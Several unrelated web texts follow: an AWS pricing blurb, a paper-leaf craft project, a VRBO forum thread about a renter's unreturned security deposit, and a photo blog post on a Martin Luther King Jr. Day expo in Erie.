AWS has reduced its prices 39 times, since it launched in 2006, driven by fast innovation and global scale. With AWS, you can save money by avoiding up-front capital expenses and paying only for resources you use. You can also save time, and gain agility, by reducing the time required to provision infrastructure from weeks, or months, to minutes. In fact, analyst research suggests that the TCO savings in the cloud may be as high as 70% compared to a traditional enterprise datacenter.

Known for their mesmerizing cutouts, crafty husband and wife Julie Marabelle and Simon Summerscales packed their new book with ideas from their DIY-filled home — such as the Branches with Paper Leaves project. Leaf it to them to come up with something so right for the season. Materials Acrylic paint A few sheets of white paper Picture frame wire Glue Spool of clear thread Tree branch 1. Paint several pieces of white paper different colors and shades. These will be the leaves. 2. After paint is dry, glue sheets together to create a front and back. 4. Insert a little picture frame wire at the bottom of the sheets to create the stem. 5. Draw the shapes of the leaves. Different shapes and sizes make for a more interesting finished product. 6. Cut out each of the shapes, and then slice details in the interior of each leaf. Sharp scalpels make it easier to cut finer details, but small scissors work, too. 7. Head outdoors to find a tree branch. 8. Attach leaves to the branch using the picture frame wire. 9. To mount, wrap clear thread around the branch. Place picture tacks in the wall and tie thread around it for a floating effect. Find more inspiration in Be Creative with Famille Summerbelle available at famillesummerbelle.com, $31.

Get answers to all of your questions from fellow owners and travelers.
Customize your experience by selecting your role:
Owner, Property Manager, or Traveler
My family stayed at rented apartment in Sunny Isles, FL. The stay was very good. The key issue is that I am trying to receive the securty deposit from the owner but have not been able to get any answers for more than 1 month now... what could I do?
Hi akriger,
I'm sorry you've been unsuccessful at hearing back from the owner. I see you've already contacted our Customer Support about this issue and I'd like to assure you that our Trust and Security team has begun looking into it. I'd also like to encourage you to try all methods of communication with the owner, if you haven't already, and remind you to check your junk mail.
If you purchased our Carefree Rental Guarantee, you'll receive further instructions to ensure you qualify for reimbursement.
I hope this information is helpful.
Kind regards,
Hi! I'm also a VRBO property owner and am concerned about the failure of any VRBO property owner/manager to refund the security deposit promptly. I just learned from someone who booked my cabin that she was formerly taken advantage of by a VRBO owner in Florida to the tune of $500 bucks! She learned from another previous renter of the same property the same thing had happened to him. Justifiably, she wanted to know what my policy is re: the refund of the security deposit.
I'd like to think these renters can get help from HomeAway / VRBO in getting their deposits back. How should they approach this? An email address or other contact information would be greatly appreciated! I'll be looking forward to your reply.
I'm eager to see that HA/VRBO's response will be. I think I've seen some sort of blurb on the ads that they're not parties to the contract and it's between owner and the guest, so I suspect other than sending a little e-mail to the owner, VRBO will be able to do nothing. Other than the guest doing a review about "slow to return the security deposit" or not at all, the only thing they could do is sue in small claims court. If they're not local, that will certainly be a hassle.
As an owner, I lay out my return of deposit criteria right in the contract - within 20 days of return of the keys. In practice, my thank you note w/deposit enclosed is done within a day or two of getting the keys back. I just don't want to be holding on to other people's money!!
If a guest has any issues with an owner wrongfully withholding their security deposit, they should contact our Customer Support to report it. As an advertising venue, HomeAway is not involved in any transactions between an owner and a guest.
Whenever we receive a complaint, we encourage the two parties to work toward a mutual resolution. We also document all information and closely monitor any account that receives complaints. If an account has a pattern of complaints, we'll take appropriate action and dismiss the owner from our sites.
I hope this information is useful and please let me know if you have any further questions.
Thanks travis. I don't think HA/VRBO can ever say too much about what goes into your process. This is the first time I've heard that you document complaints about an owner, including action/dismissal of owners. Please tell me you take appropriate action for abusive guests as well....?
Yes, Travis, let me add my thanks for making us aware of the existence of what appears to be reasonable policies and procedures.
Thanks, Travis! I'm glad to know VRBO/HomeAway monitors this as a bad experience such as this hurts all of us! I bend over backwards for my renters and I'm sure that's true of most owners.
akriger, I'm sorry to learn of your experience. It reflects poorly on the rest of us owners, who advertise on HomeAway.
Since you were a guest, I suspect you signed a lease (or, should have) provided by the landlord. Check to see specifically what it says about timing of return or notice of intent to retain part or all of it. Also, check to see what the lease says about venue for litigation. If-as I suspect-it states it would be where either the house or the owner is located, small claims court is probably not a viable option for you.
As a retired property mgmt exec, whose operations included multi-family properties in FL, I know that there's a statewide applicable Landlord-Tenant law. There may also be applicable resort rental law (for short term rentals) as there is in the Carolinas where our own properties are located. If so, there's provisions in most for assessment of punitive damages against the landloard enforced by the state. Most often, it's double the deposit amount. Check with the state of Florida.
Again, I'm sorry to learn of your experience and hope you get quick resolution to your situation.
Very unfortunate that you are not getting a response to your inquiries.
As someone already pointed out,, if you signed a lease (and there should always be a lease), one of the provisions should be when and how the security deposit is returned and the conditions under which your security deposit could be held back.
I hope this works out for you, but note that next time you rent (and don't let this put you off renting, we have rented amazing properties throughout the States and Europe) the lease should contain information about all financial aspects of your rental (and so much more, but that would be going off topic . . . ).
It would be beneficial for potential renters to acquaint themselves with a standard rental lease and standard rental / financial provisions.
Good luck! I hope you are able to resolve this to your satisfaction.
You should contact with customer support team and request them to take action against the home owner.Well,thanks for sharing your accommodation info.
Good luck!!!!

The blog is back after a few months of hibernation. You'll find out that my posts will be shorter and more focused on the images rather than my words. That being said, let's jump into the latest post!
This past Monday was Martin Luther King, Jr. Day and there were many celebrations through-out the city, state, and nation. One particular celebration was the King Holiday Expo at Gannon University. It was the second anniversary of the expo, where arts and entertainment help us to reflect on our dreams.
After each performance, each act was asked to share their dreams in life. Future doctors, nurses, scientists, college grads, music artists, dancers and more performed their talents in front of the crowd at the Hammermill Center. Erie City Councilman Curtis Jones, Jr. was in attendance and spoke a few words to the crowd. I think he said it best when he spoke to the audience about having dreams and how important they are, but they can't be dreams for too long…you have to make them a reality.
The acts who performed included artists such as Brittany Morton, Devious, Syce, McDowell Dance Team, Fairview Dance Team, Heavenly Soldiers, Cadence, Alliyah Durr, Intercession, Lady Mac, Eastern Stars Gospel Mimes, the Shaw High School Marching Band and more.
Check out the photos below and see the entire gallery with over 130 photos from the event by clicking here. Don't forget, you can purchase the photos too! Keep supporting the dreams and keep supporting the scene!
